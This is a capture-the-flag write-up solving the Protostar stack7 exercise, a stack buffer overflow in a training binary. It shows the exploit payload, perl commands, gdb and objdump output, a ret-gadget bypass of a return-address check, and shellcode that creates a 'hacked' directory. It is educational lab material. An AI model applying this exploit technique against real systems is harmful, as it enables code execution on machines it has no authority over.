Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/stack7 input path please: test got path test
Exploit
Make the program spawn shellcode.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }
We can see the challenge will be to overflow the stack when gets() is called and take control of the program flow when getpath() returns.
First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets() and 76 bytes.
Let’s see if we can crash the program
user@protostar:~$ perl -e 'print "A"x76' |/opt/protostar/bin/stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
It appears that our data of A’s (0x41) was able to cause an segfault after 76 bytes. But 76 bytes enough to overwrite EIP. After some experimentation the right number of bytes to overwrite EIP is 84 bytes.
user@protostar:~$ perl -e 'print "A"x(84-4) . "B"x4' >stack7_input.txt && gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) r <stack7_input.txt Starting program: /opt/protostar/bin/stack7 <stack7_input.txt input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r eax 0x804a008 134520840 ecx 0x0 0 edx 0x1 1 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff750 0xbffff750 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x210202 [ IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
We can see from the source that if our EIP controllered bytes matches 0xbxxxxxxx the program will exit.
Let’s confirm this assumption.
user@protostar:~$ perl -e 'print "A"x(84-4) . "\x11\x22\x33\xb1"' >stack7_input.txt && gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) r <stack7_input.txt Starting program: /opt/protostar/bin/stack7 <stack7_input.txt input path please: bzzzt (0xb1332211) Program exited with code 01.
Our assumption is correct, we received the “bzzzt” message and the program exited before reaching our controlled space on the stack.
Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from http://shell-storm.org/shellcode/files/shellcode-542.php
The shellcode will create the directory “hacked”
/* * This shellcode will do a mkdir() of 'hacked' and then an exit() * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed" "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68" "\x61\x63\x6b\x65\x64\x23"; void main() { int *ret; ret = (int *)&amp;ret + 2; (*ret) = (int)shellcode; }
Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.
$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 - 00000000 EB16 jmp short 0x18 00000002 5E pop esi 00000003 31C0 xor eax,eax 00000005 884606 mov [esi+0x6],al 00000008 B027 mov al,0x27 0000000A 8D1E lea ebx,[esi] 0000000C 66B9ED01 mov cx,0x1ed 00000010 CD80 int 0x80 00000012 B001 mov al,0x1 00000014 31DB xor ebx,ebx 00000016 CD80 int 0x80 00000018 E8E5FFFFFF call dword 0x2 0000001D 6861636B65 push dword 0x656b6361 00000022 64230A and ecx,[fs:edx]
We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.
We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at http://syscalls.kernelgrok.com/
A second syscall for 0x1 which exit()
Everything looks kosher.
At this point I decided to see if the solution I used for stack6 would work here. Theoretically it would work if it wasn’t for the fact that my ROP started at a memory location “0xB7EB76AC”.
After a little more research I realized that my solution for stack6 was inefficient and could have been made more simple.
So for stack7 I will use the same technique as stack6 but more simple.
I will look for a ret instruction in the binary that doesn’t start with memory location “0xbxxxxxxx”
user@protostar:~$ objdump -d /opt/protostar/bin/stack7 |grep c3 8048361: 81 c3 dc 13 00 00 add $0x13dc,%ebx 8048383: c3 ret 8048494: c3 ret 80484c2: c3 ret 80484c3: 90 nop 8048544: c3 ret 8048553: c3 ret 8048564: c3 ret 804857b: 81 c3 c1 11 00 00 add $0x11c1,%ebx 80485c9: c3 ret 80485cd: c3 ret 80485f9: c3 ret 8048609: 81 c3 34 11 00 00 add $0x1134,%ebx 8048617: c3 ret
Objdump will disassemble the binary and we can grep for ret (c3) instruction.
“0x8048383” seems like a good candidate.
Now to include this memory location for our EIP overwrite which will bypass the EIP location check and then cause the CPU to return control back to the stack and our code.
user@protostar:~$ ls -la total 57 drwxr-xr-x 6 user user 200 Jun 29 21:50 . drwxr-xr-x 6 root root 60 Oct 31 2012 .. -rw------- 1 user user 39396 Jun 29 20:29 .bash_history -rw-r--r-- 1 user user 220 Apr 10 2010 .bash_logout -rw-r--r-- 1 user user 3184 Apr 10 2010 .bashrc drwxr-xr-x 10 user user 320 Jun 29 20:18 distorm drwxr-xr-x 12 user user 320 Jun 29 20:22 distorm64 -rw------- 1 user user 47 Jun 28 23:01 .lesshst drwxr-xr-x 4 user user 180 Jun 29 12:58 peda -rw-r--r-- 1 user user 675 Apr 10 2010 .profile drwxr-xr-x 4 user user 140 Jun 29 20:24 ropeme -rw-r--r-- 1 user user 92 Jun 29 21:49 stack6_input.txt -rw------- 1 user user 670 Jun 29 12:58 .viminfo
No directory named “hacked”
Payload [nops] + [shellcode] + [nops] + [EIP ROP to ret] + [EIP to front of stack]
I also increased the size of the payload from 84 to 88 bytes to accommodate for the ROP gadget.
user@protostar:~$ perl -e 'print "\x90"x(88-36-30-4-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x90"x30 . "\x83\x83\x04\x08" . "\x1c\xf7\xff\xbf"'>stack7_input.txt && gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) r <stack7_input.txt Starting program: /opt/protostar/bin/stack7 <stack7_input.txt input path please: got path ???????????????^1??F?'?f??̀?1?̀?????hacked#??????????????????????????????? Program exited normally.
Check that we have a new directory named “hacked” exists
user@protostar:~$ ls -la drwxr-xr-x 7 user user 220 Jun 29 21:59 . drwxr-xr-x 6 root root 60 Oct 31 2012 .. drwxr-xr-x 2 user user 40 Jun 30 07:18 hacked
Thank you